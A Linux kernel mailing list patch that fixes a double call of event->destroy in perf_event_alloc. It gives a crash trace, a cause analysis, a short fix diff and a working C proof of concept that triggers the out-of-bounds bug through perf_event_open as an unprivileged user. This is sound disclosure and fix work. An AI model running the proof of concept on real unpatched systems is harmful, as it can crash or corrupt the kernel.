All of lore.kernel.org
 help / color / mirror / Atom feed
From: Penglei Jiang <superman.xpt@gmail.com>
To: peterz@infradead.org, mingo@redhat.com, acme@kernel.org,
	namhyung@kernel.org
Cc: mark.rutland@arm.com, alexander.shishkin@linux.intel.com,
	jolsa@kernel.org, irogers@google.com, adrian.hunter@intel.com,
	kan.liang@linux.intel.com, linux-perf-users@vger.kernel.org,
	linux-kernel@vger.kernel.org, luckd0g@163.com,
	Penglei Jiang <superman.xpt@gmail.com>
Subject: [PATCH 6.14.y] perf: fix double calling of event->destroy
Date: Mon, 19 May 2025 07:37:52 -0700	[thread overview]
Message-ID: <20250519143752.37372-1-superman.xpt@gmail.com> (raw)

Affected kernel versions: greater than or equal to 6.12.24 and less than 6.15

[BUG]
[   40.427200] ------------[ cut here ]------------
[   40.428671] UBSAN: array-index-out-of-bounds in kernel/events/hw_breakpoint.c:245:3
[   40.430615] index 5 is out of range for type 'atomic_t [4]'
[   40.432261] CPU: 0 UID: 65534 PID: 226 Comm: a.out Tainted: G        W          6.14.7 #1
[   40.432267] Tainted: [W]=WARN
[   40.432268] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   40.432270] Call Trace:
[   40.432272]  <TASK>
[   40.432274]  dump_stack_lvl+0x53/0x70
[   40.432313]  __ubsan_handle_out_of_bounds+0xc8/0x100
[   40.432405]  toggle_bp_slot.constprop.0+0x1c6a/0x1cc0
[   40.432427]  ? __percpu_down_read+0x4d/0x2b0
[   40.432437]  register_perf_hw_breakpoint+0xe6/0x270
[   40.432440]  ? __pfx_register_perf_hw_breakpoint+0x10/0x10
[   40.432442]  ? kasan_save_track+0x14/0x30
[   40.432447]  hw_breakpoint_event_init+0x68/0xd0
[   40.432449]  ? kmem_cache_alloc_node_noprof+0x10c/0x330
[   40.432465]  perf_try_init_event+0x108/0xb60
[   40.432468]  perf_event_alloc+0xec0/0x2be0
[   40.432472]  ? fdget+0x53/0x3a0
[   40.432482]  __do_sys_perf_event_open+0x351/0x1b50
[   40.432485]  ? hw_breakpoint_exceptions_notify+0x25f/0x370
[   40.432489]  ? __pfx___do_sys_perf_event_open+0x10/0x10
[   40.432492]  ? __pfx_notify_die+0x10/0x10
[   40.432496]  ? fpregs_assert_state_consistent+0x1b/0xa0
[   40.432510]  do_syscall_64+0x9e/0x1a0
[   40.432515]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[   40.432518] RIP: 0033:0x7f1b0b58bfc9
[   40.432532] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 8
[   40.432534] RSP: 002b:00007fff11481da8 EFLAGS: 00000206 ORIG_RAX: 000000000000012a
[   40.432538] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1b0b58bfc9
[   40.432540] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00007fff11481dc0
[   40.432542] RBP: 00007fff11481e40 R08: 0000000000000000 R09: 0000000000000000
[   40.432543] R10: 00000000ffffffff R11: 0000000000000206 R12: 0000561a1955c060
[   40.432545] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[   40.432547]  </TASK>
[   40.476591] ---[ end trace ]---

[CAUSE]
When perf_event_alloc() fails, it calls event->destroy twice.

	perf_event_alloc
		perf_init_event
			perf_try_init_event
				event->destroy
				~~~~~~~~~~~~~~
		__free_event
			event->destroy
			~~~~~~~~~~~~~~

This double call triggers multiple bugs, some of which low-privilege users
can also trigger. Examples include:

	hw_breakpoint: array-index-out-of-bounds
	uprobe: use-after-free
	kprobe: use-after-free
	...

[FIX]
After calling event->destroy in perf_try_init_event(), set it to NULL.

[POC]
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
int main(void) {
	struct perf_event_attr attr;
	memset(&attr, 0, sizeof(attr));
	attr.type = PERF_TYPE_BREAKPOINT;
	attr.size = sizeof(struct perf_event_attr);
	attr.disabled = 1;
	attr.inherit = 1;
	attr.exclusive = 1;
	attr.exclude_kernel = 1;
	attr.bp_type = HW_BREAKPOINT_W;
	attr.bp_len = HW_BREAKPOINT_LEN_2;
	attr.sample_regs_user = 1;
	attr.sample_regs_intr = 0x20000000002;
	// This code will incorrectly change the value of info->cpu_pinned to -1.
	syscall(__NR_perf_event_open, &attr, 0, 0x80000000000000, -1, PERF_FLAG_FD_CLOEXEC | 0x4);

	for (int i = 0; i < 100; i++) {
		memset(&attr, 0, sizeof(attr));
		attr.type = PERF_TYPE_BREAKPOINT;
		attr.size = sizeof(attr);
		attr.config = 0;
		attr.bp_type = HW_BREAKPOINT_W;
		int var = 0;
 		attr.bp_addr = (unsigned long)&var + i;
		attr.bp_len = HW_BREAKPOINT_LEN_2;
		attr.sample_period = 0;
		attr.disabled = 0;
		attr.exclude_kernel = 1;
		attr.exclude_hv = 1;
		attr.read_format = 0;
		syscall(__NR_perf_event_open, &attr, 0, 0, -1, 0);
	}
	return 0;
}

Reported-by: Penglei Jiang <superman.xpt@gmail.com>
Reported-by: Jianzhou Zhao <luckd0g@163.com>
Fixes: 1209b0b29fd4 ("perf/core: Simplify the perf_event_alloc() error path")
Closes: https://lore.kernel.org/all/3a701a0.8f4a.196860948e3.Coremail.luckd0g@163.com
Closes: https://lore.kernel.org/all/tencent_B50959BC76205E0AE666AE21F7A07D017306@qq.com
Signed-off-by: Penglei Jiang <superman.xpt@gmail.com>
---
 kernel/events/core.c | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/kernel/events/core.c b/kernel/events/core.c
index 93ce810384c9..29300bde69db 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -12045,8 +12045,10 @@ static int perf_try_init_event(struct pmu *pmu, struct perf_event *event)
 			}
 		}
 
-		if (ret && event->destroy)
+		if (ret && event->destroy) {
 			event->destroy(event);
+			event->destroy = NULL;
+		}
 	}
 
 	if (ret) {
-- 
2.17.1


                 reply	other threads:[~2025-05-19 14:38 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20250519143752.37372-1-superman.xpt@gmail.com \
    --to=superman.xpt@gmail.com \
    --cc=acme@kernel.org \
    --cc=adrian.hunter@intel.com \
    --cc=alexander.shishkin@linux.intel.com \
    --cc=irogers@google.com \
    --cc=jolsa@kernel.org \
    --cc=kan.liang@linux.intel.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux-perf-users@vger.kernel.org \
    --cc=luckd0g@163.com \
    --cc=mark.rutland@arm.com \
    --cc=mingo@redhat.com \
    --cc=namhyung@kernel.org \
    --cc=peterz@infradead.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.